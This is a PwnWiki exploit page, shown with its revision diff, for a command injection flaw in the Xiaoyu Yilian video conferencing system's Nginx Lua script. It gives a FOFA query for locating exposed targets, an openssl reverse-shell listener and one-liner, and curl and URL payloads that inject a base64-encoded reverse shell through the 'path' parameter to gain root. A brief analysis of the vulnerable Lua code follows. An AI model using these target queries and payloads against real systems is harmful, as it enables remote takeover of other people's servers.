Difference between revisions of "小魚易連視頻系統-Nginx LUA腳本遠程命令執行漏洞"
From PwnWiki
(Created page with "<languages /> ==FOFA== <pre> title="云视讯管理平台" </pre> <translate> ==漏洞利用== </translate> <translate> 找到頁面了之後尋找該該系統的OpenReaty...") |
(Marked this version for translation) |
||
| Line 7: | Line 7: | ||
<translate> | <translate> | ||
| − | ==漏洞利用== | + | ==漏洞利用== <!--T:1--> |
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:2--> | ||
找到頁面了之後尋找該該系統的OpenReaty頁面,一般都在其他端口上。 | 找到頁面了之後尋找該該系統的OpenReaty頁面,一般都在其他端口上。 | ||
| + | <!--T:3--> | ||
然後本地進行openssl監聽: | 然後本地進行openssl監聽: | ||
</translate> | </translate> | ||
| Line 22: | Line 24: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:4--> | ||
構造“package?path=”路徑下命令執行語句,將上面反彈shell命令進行base64加密。 | 構造“package?path=”路徑下命令執行語句,將上面反彈shell命令進行base64加密。 | ||
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:5--> | ||
1、請求目機機器上執行命令有三種方法: | 1、請求目機機器上執行命令有三種方法: | ||
</translate> | </translate> | ||
| Line 33: | Line 37: | ||
<translate> | <translate> | ||
| + | <!--T:6--> | ||
2、直接web上面請求: | 2、直接web上面請求: | ||
</translate> | </translate> | ||
| Line 39: | Line 44: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:7--> | ||
3、burpsuite抓包拦截请求,同web一样。 | 3、burpsuite抓包拦截请求,同web一样。 | ||
| + | <!--T:8--> | ||
burpsuite抓上面的请求会返回302,然后跳转404。监听服务器返回ROOT權限shell。 | burpsuite抓上面的请求会返回302,然后跳转404。监听服务器返回ROOT權限shell。 | ||
</translate> | </translate> | ||
<translate> | <translate> | ||
| − | ==詳細分析== | + | ==詳細分析== <!--T:9--> |
</translate> | </translate> | ||
<pre> | <pre> | ||
| Line 51: | Line 58: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:10--> | ||
返回結果如下: | 返回結果如下: | ||
</translate> | </translate> | ||
| Line 58: | Line 66: | ||
<translate> | <translate> | ||
| + | <!--T:11--> | ||
運行在 80 端口的程序為 nginx,在宿主機中尋找 nginx 程序: | 運行在 80 端口的程序為 nginx,在宿主機中尋找 nginx 程序: | ||
</translate> | </translate> | ||
| Line 64: | Line 73: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:12--> | ||
發現宿主機中沒有運行 nginx | 發現宿主機中沒有運行 nginx | ||
| + | <!--T:13--> | ||
於是嘗試進入 k8s 中的容器尋找響應服務: | 於是嘗試進入 k8s 中的容器尋找響應服務: | ||
</translate> | </translate> | ||
| Line 73: | Line 84: | ||
<translate> | <translate> | ||
| + | <!--T:14--> | ||
返回如下: | 返回如下: | ||
</translate> | </translate> | ||
| Line 80: | Line 92: | ||
<translate> | <translate> | ||
| + | <!--T:15--> | ||
最終在 k8s 中的 openresty 容器中發現了 nginx 程序/usr/local/openresty/nginx,查詢 nginx 配置文件,發現配置文件當中引用了一行 lua 腳本: | 最終在 k8s 中的 openresty 容器中發現了 nginx 程序/usr/local/openresty/nginx,查詢 nginx 配置文件,發現配置文件當中引用了一行 lua 腳本: | ||
</translate> | </translate> | ||
| Line 92: | Line 105: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:16--> | ||
查詢該文件並查看文件內容 <code>cat /usr/local/openresty/nginx/lua/package.lua</code> | 查詢該文件並查看文件內容 <code>cat /usr/local/openresty/nginx/lua/package.lua</code> | ||
</translate> | </translate> | ||
| Line 108: | Line 122: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:17--> | ||
在配置文件中直接對path參數傳入的字符串與rm -rf等命令進行拼接,沒有進行文件白名單等過濾,攻擊者可以通過構造特殊字符串對命令進行閉合,從而造成Linux命令注入。 | 在配置文件中直接對path參數傳入的字符串與rm -rf等命令進行拼接,沒有進行文件白名單等過濾,攻擊者可以通過構造特殊字符串對命令進行閉合,從而造成Linux命令注入。 | ||
</translate> | </translate> | ||
<translate> | <translate> | ||
| − | ==參考== | + | ==參考== <!--T:18--> |
</translate> | </translate> | ||
https://short.pwnwiki.org/?c=bPShOE | https://short.pwnwiki.org/?c=bPShOE | ||
Latest revision as of 09:21, 7 June 2021
FOFA
title="云视讯管理平台"
漏洞利用
找到頁面了之後尋找該該系統的OpenReaty頁面,一般都在其他端口上。
然後本地進行openssl監聽:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 443 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s
構造“package?path=”路徑下命令執行語句,將上面反彈shell命令進行base64加密。
1、請求目機機器上執行命令有三種方法:
curl:curl "http://ip/package?path=`echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh`"
2、直接web上面請求:
http://ip/package?path=echo bWtmaWZvIC90bXAvczsvYmluL2Jhc2ggLWkgPCAvdG1wL3MgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC42Mi45Ni4yMzY6ODg4ID4gL3RtcC9zO3JtIC1mIC90bXAvcw== | base64 -d | sh
3、burpsuite抓包拦截请求,同web一样。
burpsuite抓上面的请求会返回302,然后跳转404。监听服务器返回ROOT權限shell。
詳細分析
netstat -anvp | grep :80
返回結果如下:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 16554/nginx: mas
運行在 80 端口的程序為 nginx,在宿主機中尋找 nginx 程序:
find / -name nginx
發現宿主機中沒有運行 nginx
於是嘗試進入 k8s 中的容器尋找響應服務:
docker ps | grep openresty
返回如下:
b61e91356e49 "/usr/local/openresty"
最終在 k8s 中的 openresty 容器中發現了 nginx 程序/usr/local/openresty/nginx,查詢 nginx 配置文件,發現配置文件當中引用了一行 lua 腳本:
location = /package {
proxy_set_header Host $host:$server_port;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Nginx-IP $server_addr;
limit_req zone=normalfrequ burst=20 nodelay;
content_by_lua_file lua/package.lua;
}
查詢該文件並查看文件內容 cat /usr/local/openresty/nginx/lua/package.lua
local package_absolute_path = '/var/log/logs.tar.gz'
local path = ngx.req.get_uri_args().path
if nil == path then
path = '/logs'
end
os.execute('rm -rf ' .. package_absolute_path)
os.execute('tar -zcvPf ' .. package_absolute_path .. ' ' .. path)
ngx.redirect('/log/logs.tar.gz?' .. os.time())
print('rm -rf ' .. package_absolute_path)
os.execute('rm -rf ' .. package_absolute_path)
return
在配置文件中直接對path參數傳入的字符串與rm -rf等命令進行拼接,沒有進行文件白名單等過濾,攻擊者可以通過構造特殊字符串對命令進行閉合,從而造成Linux命令注入。